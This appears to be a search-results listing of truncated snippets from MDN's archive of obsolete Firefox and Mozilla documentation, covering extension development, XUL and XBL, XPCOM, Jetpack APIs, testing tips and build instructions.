...: it allows you to change almost any aspect of the interface of any xul window. in conjuntion with inheritance, it's even easy to do. you can enrich the ui of a firefox window by extending and replacing elements, which is what the console² extension does in order to improve the error console window. replacing elements should always be a last resort solution, specially if it is done on the main browser window. it's very easy to break the ui of the application or other extensions if you do this the wrong way, so be very careful about it. if you only need to change some specific instances of an element, use very specific css rules. you can use the -moz-binding property with any css selector. « previousnext » this tutorial was kindly donated to mozilla by appcoast. ...
Getting Started with Firefox Extensions - Archive of obsolete content
hemes and language packs are developed in a very similar way. plugins are entirely different, and they will not be covered here. you can read more about plugins and their development in the plugins page. firefox provides a very rich and flexible architecture that allows extension developers to add advanced features, customize the user's experience, and completely replace and remove parts of the browser. the mozilla add-ons repository (amo) holds an extensive number of extensions with a wide variety of functions: content filtering (adblock plus, noscript), web application interaction (delicious bookmarks, ebay companion) and web development (dom inspector, firebug). these are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these. extensio...
... file in a convenient location. issue the following command to unzip the file on linux or mac os x: unzip xulschoolhello1.xpi -d xulschoolhello1 on windows, you can change the file extension from xpi to zip, or open the file directly, then unzip it, using a zip tool. you should see the following directory structure: xulschoolhello1 chrome.manifest install.rdf content browseroverlay.xul browseroverlay.js skin browseroverlay.css locale en-us browseroverlay.dtd browseroverlay.properties that's lots of files for something so simple! in the next section, we'll inspect these files and see what they do. « previousnext » this tutorial was kindly donated to mozilla b...
Handling Preferences - Archive of obsolete content
window from a different place in the ui, such as a menu item or a button in a toolbar, you need to take into account that the opening behavior of a preferences window is different depending on the operating system. ...
...epending on the instant apply rule), and vice versa. you may be able to create a preferences window without a single line of js code thanks to the preference element. finally, groupboxes are a good idea to organize the contents of the window and preference panes. they are heavily stylized in the firefox preferences window, so you should include the same css file that is included in it (chrome://browser/skin/preferences/preferences.css). this way you don't have to rewrite all the css rules defined for firefox. you should also look at the class values set to elements in the xul file, so that your preferences window is just like the one in firefox and your extension is better integrated into the application and the native os look and feel. « previousnext » this tutorial was kindly dona...
Introduction - Archive of obsolete content
expansive world that is the mozilla platform. most links in this documentation are meant to be clicked and read. we'll start with a brief introduction to some key concepts, in case you're not familiar with mozilla and firefox. mozilla and firefox the term mozilla can be used to refer to several concepts: the mozilla project, the mozilla foundation, the mozilla corporation and the old mozilla browser. even firefox is sometimes referred to as "mozilla". if you're unfamiliar with these terms, it's good that you take some time and learn a little about mozilla. this will help you understand the culture that surrounds the mozilla community. mozilla has spawned several products and projects, the most notable being the mozilla firefox web browser. firefox is one of the most successful open source...
...ner is available in binary form at the xulrunner page, and it is the base for several projects, such as songbird, miro and eudora. there's a very comprehensive list of xulrunner applications in the xulrunner hall of fame. gecko the gecko engine is the part of firefox used to render web pages and its own user interface. you can identify the level of compatibility of web standards in gecko-based browsers looking at their user agent string, which should include the gecko version. gecko versions are somewhat independent from firefox versions, and you can see a mapping of firefox versions and gecko versions at the gecko page. the user agent string for firefox at the time of this writing (in us english, mac os x) is: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:25.0.1) gecko/20100101 firefox/2...
XPCOM Objects - Archive of obsolete content
looks like it was never finished and xul planet was discontinued. their xpcom documentation is better in terms of seeing the relationships between components and interfaces, so we'll use that. another useful resource is this xpcom reference. this is generated from source, and it's kept relatively up to date. it shows the relationships between components and interfaces, but it's more of a source browser than a documentation reference. stepping into the time machine, we see the preferences service component page. right at the top you can see a list of the interfaces it implements, with a link to a documentation page for each one of them. then you'll see a list of all members of this object, with some documentation about it. it is particularly important to note that, for every member in the com...
... the rest of the code looks long and complicated, but it is pretty much the same for all components, so you shouldn't worry too much about it. all you have to do to use it in other components is copy it and change some names. the purpose of this code is to register the component so that you can get references to it just like all other firefox components. it is better read from botto...
Performance best practices in extensions - Archive of obsolete content
one of firefox's great advantages is its extreme extensibility. extensions can do almost anything. there is a down side to this: poorly written extensions can have a severe impact on the browsing experience, including on the overall performance of firefox itself. this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself. improving startup performance extensions are loaded and run whenever a new browser window opens. that means every time a window opens, your extension can have an impact on how long it takes the user to see the content they're trying to view. there are several things you can do to reduce the amount of time your extension delays the appearance of the user's desired content. load o...
... breaking code up to an unnecessary degree can be counter-productive. code should be modularized to the extent that doing so increases clarity, and loading of large or expensive chunks of code fragments can be significantly deferred. defer everything that you can most extensions have a load event listener in the main overlay that runs their startup functions. do as little as possible here. the browser window is blocked while your add-on's load handler runs, so the more it does, the slower firefox will appear to the user. if there is anything that can be done even a fraction of a second later, you can use an nsitimer or the window.settimeout() method to schedule that work for later. even a short delay can have a big impact. general performance tips avoid creating memory leaks memory leak...
Supporting search suggestions in search plugins - Archive of obsolete content
more about how to implement a search plugin. implementing search suggestion support on the server the majority of the work in handling search suggestions is actually implemented on the server side. if you're a web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in javascript object notation (json) given a search term. when the browser wants to fetch possible matches for a search term, it then sends an http get request to the url specified by the <url> element. your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string. this allows firefox to verify that the suggestions match th...
...ent search term. completion list an array of suggested search terms. the array should be enclosed in square brackets. for example: ["term 1", "term 2", "term 3", "term 4"] descriptions this optional element is an array of descriptions for each of the suggestions in thecompletion list . these can be any additional information the search engine might want to return to be displayed by the browser, such as the number of results available for that search. descriptions are not supported in firefox, and are ignored if any are specified. query urls this optional element is an array of alternate urls for each of the suggestions in thecompletion list . for example, if you want to offer a map link instead of just a search result page for a given suggestion, you can return an url to a map ...
MozOrientation - Archive of obsolete content
note: this below describes how these values worked for the now obsolete mozorientation. the x axis represents the amount of right-to-left tilt. ...
... notes this event is only dispatched if an accelerometer is available on the current device. specification not part of any specification. ...
MMgc - Archive of obsolete content
the ideal solution will result in only one mark incremental per frame unless the mutator is allocating memory so fast we need to mark more aggressively to get to the sweep. so the frequency of the incremental marking will be based on two factors: the rate at which we can trace memory and the rate at which the mutator is requesting more memory. study of real world apps will be used to d...
...t subsequent expansions of the heap are able to obtain contiguous memory blocks. if we can keep the heap contiguous, that reduces fragmentation and the possibility of many small "balkanized" heap regions. reserving 16mb of space per heap region should not be a big deal in a 2gb address space... it would take a lot of player instances running simultaneously to exhaust the 2gb address space of the browser process. by allocating contiguous blocks of address space and managing them ourselves, fragmentation of the ie heap may actually be decreased. on windows, this uses the virtualalloc api to obtain memory. on mac os x and unix, we use mmap. virtualalloc and mmap can reserve memory and/or commit memory. reserved memory is just virtual address space. it consumes the address space of the process but...
No Proxy For configuration - Archive of obsolete content
initially, proxy servers were used for access control and performance. many networks had limited access to the public network via proxy servers. ...
...ber of filters (ad blocking). mozilla implements this feature with significant limitations, users may find that writing a pac file is more suitable for their needs. testing contributors can test this feature, even without a proxy server, using a "negative proxy server test". proxy connections that fail return an error "the proxy server you have configured cannot be found", so configure your browser to use a non-existent http proxy (hostname: "imaginary", port "80"). test each destination in an http: url. all proxied urls will return errors, all non-proxied connections will be attempted normally (direct connection). hostnames filter test destination result basic filtering unit tests (local host) localhost localhost direct localhost. loc...
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profi...
...st of the default settings firefox-bin -p testprofile -chrome chrome://tests/content/quit.xul<code> the above process may exit before the profile is completely created. ...
Bookmark Keywords - Archive of obsolete content
ng the groundwork we're going to pick a relatively easy example to illustrate this process: a keymark that will let the user jump straight to a specific bugzilla entry by entering its number. the quickest way to start is to simply look up any random bug in the bugzilla system-- the actual number doesn't matter. see figure 1 for an example. to file this bookmark open the "bookmarks" menu in the browser and select "add bookmark," or by of use the keyboard equivalent (e.g., <tt>cmd-d</tt> on macintosh). this will add a bookmark of the current page to the list of bookmarks. you can also file the bookmark into a folder by using the "file bookmark..." menu option. to open the bookmark manager go to "bookmarks" menu and select the "manage bookmarks" option. this will open up the bookmark manager. i...
...anywhere inside the field. you just need to fill in whatever piece of a url it is you want to be able to "fill in" when you use the keymark. all we need now is a keyword, and our keymark will be ready to go. fill in the value bz, as shown in figure 5. with that done, all you have to do in the future is type <tt>bz</tt> followed by a space and the bug's number into mozilla's address bar, and the browser will jump right to the bug with that number. this is illustrated in figure 6. that's all it takes! setting up a google keymark to set up a keymark that will search google directly form the address bar, go to google and run a search for any word. once you get a result page, bookmark that page. you'll need to replace the word for which you searched. one such example, with the relevant term hi...
Conclusion - Archive of obsolete content
mozilla will automatically detect that the file is an installer and ask you if you want to install the software. try installing the extension, restarting mozilla, and see if it works. if the version you created in this tutorial doesn't work, compare it to this working version to help figure out the problem. ...
...zilla codebase (the trunk) and a stable branch. how could you modify tinderstatus to show the status of both the trunk and the branch? this extension can be installed into netscape 7 without problems. firefox has slightly different chrome registry requirements, so you may need to modify the contents.rdf files. for example, you need to change chrome://navigator/content/navigator.xul to chrome://browser/content/browser.xul. « previous ...
Finding the file to modify - Archive of obsolete content
ode to all three ui layers, starting with the structure layer. the structure layer consists of xul files. xul, which is short for xml-based user interface language (and is pronounced like "zool"), is an xml-based language specifically designed for describing application interfaces. it contains elements for all common ui widgets (menus, buttons, toolbars, etc.) and many sophisticated ones (trees, browsers, color pickers). each window and dialog box in mozilla is defined by a single xul file (in some cases other xul files called overlays contribute portions of another window's structure). to add a tinderbox status icon to mozilla, we need to find the xul file that defines the structure of the browser window. the best way to find a xul file for a window is to use the dom inspector. the dom insp...
...om inspector. the dom inspector is a tool bundled with mozilla that allows you to examine the dom of web pages and xul windows. to access it, go to the "tools" menu, select the "web development" submenu, then select the "dom inspector" item. the dom inspector will load in a new window. in the dom inspector window, go to the file menu, select the inspect a window submenu, then select the mozilla browser window item (named after the page currently loaded in the browser). the dom inspector will display the url of the xul file that defines the mozilla browser window, which is chrome://navigator/content/navigator.xul. a chrome url is a url used internally by mozilla to refer to files in the chrome subdirectory of the mozilla installation directory. chrome urls have paths that do not necessarily r...
Installing Dehydra - Archive of obsolete content
to generate preprocessed mozilla source files (*.ii), see the pork install instructions. see also dehydra_manual treehydra build instructions ...
...to generate preprocessed mozilla source files (*.ii), see the pork install instructions. see also dehydra_manual treehydra build instructions ...
Error Console - Archive of obsolete content
the error console is a tool available in most mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens. it reports javascript-related errors and warnings, css errors and arbitrary messages from chrome code. in firefox, the error console can be opened from the tools menu or by ctrl-shift-j. ...
... warning, used very rarely. manipulating data displayed in error console information displayed in error console can be accessed and manipulated through the console service. extensions can write to the error console from javascript using components.utils.reporterror, or if you're fine with logging to the os-provided console, dump(). to bring up error console from within a browser or mail window, use the function tojavascriptconsole(). alternatives console2 this extension provides a replacement for error console, fixing many of its bugs and implementing long-wanted enhancement requests. firebug the extension for firefox also integrates the error console with various improvements. related topics javascript, css ...
Code snippets - Archive of obsolete content
requestor) .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data. ...
... .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data. for each (let client in tabsengine.getallclients()) { for each (let tab in client.tabs) { let url = tab.urlhistory[0]; // load the tab via the tabbed browser api. ...
JavaScript crypto - Archive of obsolete content
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. deprecatedthis feature has been removed from the web standards. though some browsers may still support it, it is in the process of being dropped. avoid using it and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. be aware that this feature may cease to work at any time. warning: the features mentioned in this article are deleted proprietary mozilla extensions, and are not supported in any other browser. they won...
...er password will be requested the next time a saved password will be accessed after this function is called. this also means the ssl client authentication state will be erased for ssl sites with client authentication, and a client certificate prompt will appear again the next time the user connects to the site. note: this function provides a convenient way to erase the ssl session state at the browser level, but in order to really guarantee that the state is erased, it is more secure to do it on the server side whenever possible. void disablerightclick(); unimplemented ...
Basics - Archive of obsolete content
nfo()this method does stuff. log(stringstring)this method writes a notification message to the console. stringthe message to add to the consolestring console.log("hello world!"); arn()this method does stuff. error()this method does stuff. exception()this method does stuff. logfromcaller()this method does stuff. class notifications the notification box appears at the bottom right corner of the browser and displays important information to the user. the namespace for this class is jetpack.notificaitons. methods show(titlestringbodystringiconstring)draws a notification box. titlethe head of the notification message.string bodythe messagestringfalse iconthe url of an .ico file.string jetpack.notifications.show("hello world");var mybody = " my first message body on jetpack";var myicon = "http...
...age on jetpack", body: mybody, icon: myicon}); class tabs in this class you can find information about the tabs in your firefox window. the namespace for this class is jetpack.tabs. blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(urlstring)opens a new tab in your browser with a defined url. urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); ...
Simple Storage - Archive of obsolete content
it's a simple key-based persistent object data store. simple storage is really simple. ...
...z); that's all there is to it! note that these examples create a mystorage variable to emphasize the fact that jetpack.storage.simple is just a normal javascript object. they could have simply used jetpack.storage.simple directly. here's a complete real-world example. it's a simple note-taking jetpack. select some text on the page, right-click, and select note. the text will be remembered across browser restarts as a note. all notes are shown in the tools menu. you can install this example from the jetpack gallery. jetpack.future.import("menu");jetpack.future.import("selection");jetpack.future.import("storage.simple");// create the persistent notes array if it doesn't already exist.jetpack.storage.simple.notes = jetpack.storage.simple.notes || [];var notes = jetpack.storage.simple.notes;// upd...
Tabs - Archive of obsolete content
Archive › Mozilla › Jetpack › UI › Tabs
nouncing the first sdk release for what we're up to next! in this class you can find information about the tabs in your firefox window. the namespace for this class is jetpack.tabs. blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(urlstring)opens a new tab in your browser with a defined url. urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(le...
...s()changing the focus of a tab. methods open(urlstring)opens a new tab in your browser with a defined url. urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); blah(lengthstringfocusedstringtostringstringpopstringpushstringreversestringshiftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. ...
slideBar - Archive of obsolete content
when a slidebar feature is selected, its contents will be revealed from behind the current web page. ...
...when a slidebar feature is selected, its contents will be revealed from behind the current web page. ...
UI - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. ...
... accessing, modifying, and creating menus in the browser slidebar ui mechanism for displaying jetpack content in a slide-out animated vertical column toolbar including entries and access elements into the toolbar panel a movable, expandable, and custom styled content element to display jetpack content tabs adding events and interacting with browser tabs and their contained documents statusbar low-level functions and basic calls notifications a system for alerting users via provided ui mechanisms selection interacting with user-selected content window mitigates and eases interactions between different browser windows ...
Simple Storage - Archive of obsolete content
it's a simple key-based persistent object data store. simple storage is really simple. jetpack.storage.simple is a single, persistent javascript object private to each jetpack. for the most part this object is like any other javascript object, and a jetpack can set whatever properties it wants on it. to manipulate its persistent data, a jetpack therefore need only use the various standard javascript functions and operators. the jetpack.simple.storage object is automatically and periodically flushed to disk. how and when it is flushed is an implementation detail. ...
...); that's all there is to it! note that these examples create a mystorage variable to emphasize the fact that jetpack.storage.simple is just a normal javascript object. they could have simply used jetpack.storage.simple directly. here's a complete real-world example. it's a simple note-taking jetpack. select some text on the page, right-click, and select note. the text will be remembered across browser restarts as a note. all notes are shown in the tools menu. you can install this example from the jetpack gallery. jetpack.future.import("menu"); jetpack.future.import("selection"); jetpack.future.import("storage.simple"); // create the persistent notes array if it doesn't already exist. jetpack.storage.simple.notes = jetpack.storage.simple.notes || []; var notes = jetpack.storage.simple.notes;...
Microsummary XML grammar reference - Archive of obsolete content
t's interval and stops processing child elements. thus, the first matching <condition> determines the update interval. if there are no <condition> child elements, or if none of their expressions evaluate to true, firefox applies the value of the <update> element's interval attribute. if the <update> element does not include an interval attribute, firefox applies the interval specified by the browser.microsummary.updateinterval preference. if that preference has not been set, firefox applies its default update interval, which is 30 minutes. notes: regardless of the absolute or conditional update interval specified by this element, firefox will never update microsummaries more frequently than once per minute; because firefox checks for expired microsummaries every 15 seconds, it is p...
...terval, which is 30 minutes. notes: regardless of the absolute or conditional update interval specified by this element, firefox will never update microsummaries more frequently than once per minute; because firefox checks for expired microsummaries every 15 seconds, it is possible for a microsummary update to begin up to 15 seconds later than its interval indicates; firefox respects the browser cache when updating microsummaries, so it will not reload a page to update its microsummary if the cache contains a fresh copy of the page. the <condition> element the optional <condition> element specifies an xpath boolean expression along with a conditional interval of time, in minutes, that must elapse between updates if the expression evaluates to true when evaluated against the page being...
Monitoring downloads - Archive of obsolete content
try to avoid using it.this interface is deprecated as of firefox 26. please use downloads.jsm instead. firefox 3 makes it easier than ever to monitor the status of downloads. although it was possible to do so in previous versions of firefox, it was previously only possible for one observer to do so at a time. firefox 3 introduces new api that allows any number of listeners to observe downloads. this article demonstrates how to monitor downloads in firefox 3, using the download manager. ...
...}, we're interested in four states. if the download's state, indicated by the adownload.state field, is components.interfaces.nsidownloadmanager.download_downloading, the file has begun to download. the adownload object is an nsidownload object. in that case, we create a new row in our database for the new file by opening the database and building a replace into sqlite command. the first three rows are set to the values of the source uri, file size, and start time fields from the download object. the remaining rows are set to zeroes since that's not information we have at the moment. if the download's state indicates that the download is finished, canceled, or failed, we call our logtransfercompleted routine to update the log to indicate that state change. that code looks like this: logt...
New Security Model for Web Services - Archive of obsolete content
ted domains, without compromising internal domains. more-complex access lists could be created to try to establish, with finer granularity, which domains are to be accessible or permitted from which other domains, but this requires extensive management which at best is quite error-prone for the end user and easily opens holes in a firewall that do not directly hurt the user who reconfigured his browser to try to access some external service but hurts the owners of other services behind the firewall. signed scripts a certain degree of additional trust may be lent to a script by having the author digitally sign it. but signed scripts have not really caught on as they require certificates do not change the basic problem that some completely-unknown party has written a script that might now hav...
...sandbox cannot otherwise determine whether the executing script should be permitted access to the resource, a dialog box may be raised to ask the user to grant special privileges. this is currently permitted for locally-saved scripts and signed scripts. this could be combined with the other options above such as whitelisting, signed scripts, etc. but the big problem with this is that the typical browser user really does not either understand or pay the consequences if he inadvertently opens a hole in his company's firewall. quite complex settings may be required to permit the user to allow access to desired external services without risking other resources. controlling resource access on the server access by untrusted scripts really needs to be under the control of the stake holder, which is...
BlogPosts - Archive of obsolete content
just browsing: mozilla prism update thanscorner: mozilla prism - webrunner with pazzaz mozilla prism - a revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle...
...lla webrunner: a one-window, tabless browser with no url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle custom google reader + talk (french) just browsing: site-specific browsers ...
Frequently Asked Questions - Archive of obsolete content
espaces, we'd strongly recommend you include it. for more information see this link. if source code is displayed without a gray area at the top, or if you just see gibberish, then the problem is server misconfiguration. when servers send user agents an svg file they must tell the user agent that the file has the mime type "image/svg+xml", and if the svg file is stored gzipped they must tell the browser that too. mozilla is strict about this, and no, it's not a bug. failing to respect the mime types servers send is incorrect and has been a source of security holes in other browsers. mozilla will not be changing this behaviour. for more information on server configuration for svg see this link. why does mozilla show an "xml parsing error" message instead of svg? this is an xml debugging messa...
...root <svg> tag. <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> make sure all your svg files have these bindings. for more information see this link. why am i asked to choose a program to open svg files? when you try to load svg files from some websites you may get a dialogue asking you "what should firefox do with this file?". this is either because your browser doesn't support svg (you must have mozilla firefox 1.5 or newer), or because the webpage/server isn't correctly telling mozilla that the file contains svg. for example, webpages that embed svg using the <object> or <embed> tags must have a 'type' attribute assigned with the correct svg mime type of "image/svg+xml". if the mime type specified is wrong (for example image/svg-xml) mozilla won't re...
Safely loading URIs - Archive of obsolete content
some other schemes are used internally by mozilla modules to communicate with each other. finally, some uris (e.g. chrome: give the loaded page expanded privileges. if a web page gets access to a window with such expanded privileges, it may be able to abuse it to gain access to those privileges itself. to solve this problem, gecko provides methods that allow the caller to check whether it's safe to load a particular uri. these methods are exposed on the nsiscriptsecuritymanager interface and are called checkloaduri, checkloaduriwithprincipal, and checkloaduristr. ...
...text menu code is in. differences between the methods the three methods differ from each other in how the source of the uri is identified and in what is known about the uri to be loaded. in general, the following guidelines apply for gecko 1.8: if you plan pass a uri string to nsiwebnavigation.loaduri (which can happen indirectly, e.g. by passing the string to something that loads it in a <browser> or <iframe>), you must call checkloaduristr to be secure. there's no way to do this completely securely in gecko versions prior to 1.8.0.4. if you're doing anything else (passing a uri string to some other api like window.open or <img src="">, passing a uri object to an api that loads uri objects, etc.) use whichever method best fits the data you can get your hands on. if you have a choice as...
Standalone XPCOM - Archive of obsolete content
figuration that builds a minimal set of libraries (shared mostly) that can be used to get all features of xpcom. the contents of this standalone xpcom in general are: nspr : mozilla/nsprpub xpcom : mozilla/xpcom note 1: xpcom apis are not frozen yet. by xpcom 1.0 release they will be. note 2: xpcom standalone differs from the xpcom built with mozilla. hence cannot be used with the mozilla browser. building standalone xpcom here are the instructions for building the standalone xpcom on unix or windows: step 1 : pull the sources cvs -z 3 co mozilla/client.mk cd mozilla gmake -f client.mk pull_all build_modules=xpcom step 2 : build xpcom standalone ./configure --enable-standalone-modules=xpcom --enable-application=standalone gmake testing standalone xpcom xpcom/sample cont...
...ary_path not set. to fix, setenv ld_library_path . (note the dot). link errors when building xpcom standalone this is usually due to xpcom not being built standalone. make sure you did configure --enable-standalone-modules=xpcom. what's the difference between standalone and non-standalone xpcom? there is no binary difference between standalone xpcom and the xpcom that ships with the mozilla browser. the one functional difference is that xpt files cannot be read from .zip files in standalone xpcom. todo for v 1.0 optional exclusion of specific features into standalone xpcom like registry, xpconnect. tweeking these options will cause reduction in memory requirements and size. get xpcom/tests directory upto date and documented. update this document for mac. api freeze and documentatio...
Table Layout Strategy - Archive of obsolete content
special cases note: the following examples are not shown correctly due to technical constraints on wiki content. you can help by editing this page and adding screenshots or links to example pages. width = "0*" assume that you would like to give all the space to the second column in a table. ...
...e all the space to the second column in a table. poor mans choice is leave the first cell auto and specify 100%on the second one (this works cross-browser) <tbody></tbody>foobar <table width="200px" border> <tbody> <tr><td>foo</td><td width="100%">bar</td></tr> </tbody> </table> the conflict free solution, the column should have the minimum width. ...
Venkman Internals - Archive of obsolete content
idebuggerservice. initdebugger(). scriptmanager in initdebugger() the previous loaded scripts are passed to an onscriptcreated() method which binds them to a scriptmanager. there is one scriptmanager per url (web page). this method is set into jsdiscripthook.onscriptcreated venkman-views.js views are the panels shown within the venkman window. for example, the "open windows" view shows the browser's windows. venkman-records.js a "record" seems to be data underlying a view. for example, framerecord represents a javascript stack frame. venkman-msg.js localization code, reads venkman.properties from a subdirectory of "locale" and injects variables. things like msg.alert define variables msg_alert. venkman-utils.js defines the dd debug dump and friends windowrecord representation...
...nts by line number (instead of by program counter), locate a scriptwrapper for a given line number, and do a few other useful things. scriptinstance.functions is a hash of all of the functions in the script instance, keyed by the tag property of the jsdscript. scriptinstance.toplevel is the top-level script for the instance. scriptmanager sometimes the same url is loaded more than once in the browser. to deal with this, all scriptinstances are parented by a single scriptmanager. a scriptmanager keeps all of the loaded instances of a particular url in the scriptmanager.instances array, in the order that they were loaded. from here, you can set and clear breakpoints in all instances. scriptmanager.transients is a hash of all of the "transient" scripts from this url, where a transient script i...
Anonymous Content - Archive of obsolete content
nymous content template using the content element. this template describes a content tree that will be generated around the bound element during binding attachment. an element declared in a bound document using a single tag can then be constructed out of multiple child elements, and this implementation is hidden from the bound document. for example, the html file upload control appears in most browsers as a composite widget consisting of a text field and a button. a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because this content is not visible to its parent element, it is said to be anonymous content. scoping and access using the dom when a bindi...
...es with namespaces can be defined using a namespace prefix and the attribute name separate by a colon. for example, on the html file upload control, the anonymous textfield can be set up to automatically inherit the value attribute from the bound element. <xbl:binding id="fileuploadcontrol"> <xbl:content> <html:input type="text" xbl:inherits="value"/> <html:input type="button" value="browse..."/> </xbl:content> </xbl:binding> each entry in the inherits list can either simply list an attribute (such as value in the example above), or it can specify an = separated pair consisting of the attribute on the anonymous content that should be tied to the attribute on the bound element. the anonymous content attribute is listed first. the special value xbl:text can be used in an = separ...
Elements - Archive of obsolete content
tml:b>hello from my binding! </html:b><children/></content> </binding> </bindings> you can view the result by opening helloworld.html in firefox. hello.xml should reside in the same directory which contains helloworld.html. next: bindings > binding element. notes in the current stable releases of mozilla products (e.g. firefox 2) it is impossible to attach bindings to table sub-elements (rows, cells etc.) you can attach binding only to the table element itself. this has been fixed for future versions of mozilla products. see bug 83830 for more information and for workarounds. default encoding in xml documents (including xbl files) is utf-8. an explicit encoding declarations may be present to override the default, for example <?xml version="1.0" encoding="iso-8859-1"?> uri in namespa...
...yed. by setting this attribute, you can have an element have the layout and display characteristics of an existing element. for example, use the value 'xul:button' to create an element that is displayed like a button. the part before the colon is a namespace prefix so you must declare the xul namespace as well. not all tags have a unique display type. the following xul display types may be used: browser, button, checkbox, description, editor, grippy, iframe, image, label, menu, menuitem, menubar, progressmeter, radio, resizer, scrollbar, scrollbox, spacer, splitter, titlebar, treechildren and treecol. you may also use a number of html, mathml and svg tags. the 'display' attribute does not work unless the extends attribute is set, see bug bug 119389. in that case, put the value of the display a...
XBL - Archive of obsolete content
btle (and not-so-subtle) differences. for example, names of the elements are different. also sxbl lacks some features of xbl, such as bindings inheritance and defining methods/properties on bound elements. xbl 2.0 (w3c candidate recommendation) was developed to address problems found in xbl 1.0 and to allow for implementations in a broader range of web browsers. in 2009 mozilla announced plans to implement xbl2 in future versions of gecko. some differences between sxbl and xbl2 are listed in an article by anne van ke ( seesteren (november, 2005). an overview of differences between mozilla xbl and xbl2 is in a newsgroup posting by jonas sicking (apri...
... css scoping » shadow encapsulation see also introduction to xbl from the xul tutorial. custom xul elements with xbl from the xul school tutorial for add-on developers xbl chapter of "rapid application development with mozilla" xbl 2.0 primer (draft) xbl 2.0 cross-browser implementation in javascript more xbl resources... community view mozilla forums... mailing list newsgroup rss feed ...
XML in Mozilla - Archive of obsolete content
ould include support for xpointer xpointer() scheme (bug 32832), xinclude (bug 201754), xml catalogs (bug 98413), xforms (bug 97806; work being done on implementing this as an extension), validating parser (bug 196355) and xml schemas. to fully implement xlink, we need something called a link manager. see some initial design documents. testing and qa we have a lot of testcases linked to from the browser standards compliance qa page. most of the core xml test documents on the mercurial repository are located in content/xml/tests. we also have a couple online: the books demo and the irs table of contents demo. both of them demonstrate xml, associating stylesheets with xml, displaying xml with css, namespaces in xml, xhtml, simple xlinks, and manipulation of xml with scripts via dom. there is an ...
...re milestone, or otherwise have a milestone that is set way into the future. you can always test our xml support. we'd really like to get tests that can be run automatically (this would require knowledge of web development; document.load() and/or xml extras might be needed), but probably most of the bugs we get have just been found by normal people trying to do something that works in some other browser and does not work in mozilla. see also e4x xquery code snippets for queryselector - useful techniques for navigating dom using css selectors on xml dom documents (firefox 3.5 only) identifying xml elements and documents parsing and serializing xml ...
Mac stub installer - Archive of obsolete content
taller" folder" to the "macbuild" folder itself. now run the built installer from the "macbuild" itself or by running it from the miw.mcp codewarrior project. how we get setup to debug the xpinstall engine from the mac installer? once you have the mac installer built and ready to debug you may want to debug the xpinstall engine in the context of the installer rather than in the context of the browser. to do this, in addition to the above steps to set up the mac installer to debug you will need to do the following: create a file named xpcom.xpi with the shared libraries in the structure described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have...
...tics. add an <component>.jst install script template file (the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi. checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/mac/> directory. note that there are two macro strings in the .jsts: $version$ which is replaced at packages time with the browser version. $spacerequired$ which is replaced at package time with the amount of space in kb required for the package when it is fully extracted. add a [componentx] section to the config.ini template file named config.ini_tmpl found at: <http://lxr.mozilla.org/seamonkey/sou...onfig.ini_tmpl>. then add the componentx into the appropriate setup types so the installer module installs when users se...
execute - Archive of obsolete content
